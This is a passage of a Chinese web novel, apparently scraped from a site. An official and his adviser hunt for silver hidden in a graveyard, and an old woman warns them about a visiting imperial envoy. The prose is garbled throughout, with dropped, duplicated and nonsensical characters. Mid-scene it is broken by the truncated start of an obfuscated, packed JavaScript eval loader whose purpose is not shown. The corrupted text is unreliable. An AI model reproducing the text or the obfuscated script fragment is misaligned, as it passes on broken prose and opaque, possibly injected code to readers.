路先生抬头幽幽地望着眼前这片墓地,一片漆黑,一排排的石碑又泛着冷光,印在他阴沉的眼眸中显得比鬼魅更恐怖,“是啊,我们真得好好谢谢这位罗大人。” 鸡毛掸子又问,人如何知道钱伯钧将银钱藏到钱家墓地了?” “我胡凌齐道,与他相知三年,每每有事相商便在这墓地。为了隐蔽他更是想了个法子,在此处找了个能藏东西的山洞,账册、与我往来的书信都藏于山洞夹层之中,故而当罗大人与我说起此事银钱一下便想到此处,钱伯钧若是想要避人耳目,这里是不二之选。” 路先生掏出施展物钱伯钧之中挑选出来的荷包笑道,“那位钦差大人就算是挖空脑袋也想不到他要的东西竟然在墓地。” 胡凌齐说道掏出荷包中的钥匙,“只是不知钱伯钧将银钱藏于何处,我们俩还得找一找。” “大人放心,有了这了这些门洞的钥匙们很快就能发财找到 阿贵看着这两人小声说道,“所以他才让我们回赤地县拿钱伯钧的贴身遗物,原来这个荷包里藏着这里的图纸。阿和钥匙姐你好聪明啊。” 罗依依不语,只是一味地看着他俩依据提着蜡烛低头研究查找钱伯钧所藏之物。 “找到了!”路先生顶着脑门上的伤如一只狡猾的狐狸鞍前马后,终于在陡峭的崖上找到了一用草丛掩盖住的山洞。 “胡大人,”路先生的话听起来都是那样激动颤抖,“这个钱伯钧竟然藏了这样一大笔银钱。” 黑暗中墓园安静得可怕,只有寒风吹起光秃的树枝,忽地一声松枝断裂的声音在不远处响起。 他俩同时望向发出声音的方向。 “是谁!” 坏了! 路先生耳朵微动,冲着阿贵和罗依依躲藏的方向喊道,“究竟是何人藏在此处,还不快快现身?” 罗依依和阿贵吓得瑟瑟发抖,路先生抽出长剑向前跨了一步,“我再说一遍,你快点出来,我还能饶你不死!” 罗依依心如死灰,抓着阿贵的手掌写下一个逃字,准备自己走出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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此言一出路先生不屑一顾,“事关大人前途,你一个婆子好大的口气,我今日不杀你真是对不起我手上这把剑。” 胡凌齐倒来了兴致,“你倒是说说看。” 在危机时刻,人要保住自己性命总能变得理智镇定。廖婆子没有之前抖得那般厉害,浑浊的目光里反倒流露出一丝得意之色,“昨夜路先生是否在大人府上招魂?” “你怎么知道此事的?”胡凌齐声音陡然增高,“难道你这婆子胆敢偷到本府头上来了?” “噢哟小的哪里有这胆量,”廖婆子猛地又磕了两个头,额头磕在僵硬的泥土上已渗出血来,路先生上去就给了婆子一巴掌,指着她骂道,“还不快大人问话,如实招来。” “小的因小的怎么有胆子到大人府上偷东西?是问路小的想求讨要符的而等在胡大人府门口,大人可知我瞧见了谁?” 路先生横在廖婆子脖子上的长剑又往里移了一寸快说,别卖关子,大人没什么耐心听你胡言乱语。” “我们州县可否来了一位钦差大人,姓罗?” 路先生与胡凌齐迅速交并未开口,而是换了一个眼色,廖婆子又道,“大人可知她是赤地县本地人?” 胡凌齐朝着路先生看了一眼,“略有耳闻。” “我与她家阿爹阿娘都熟识,这人有蹊跷。大人可不要被她骗了。” “哦?”胡凌齐的目光在黑暗之中显得骤然一亮,“有何蹊跷?”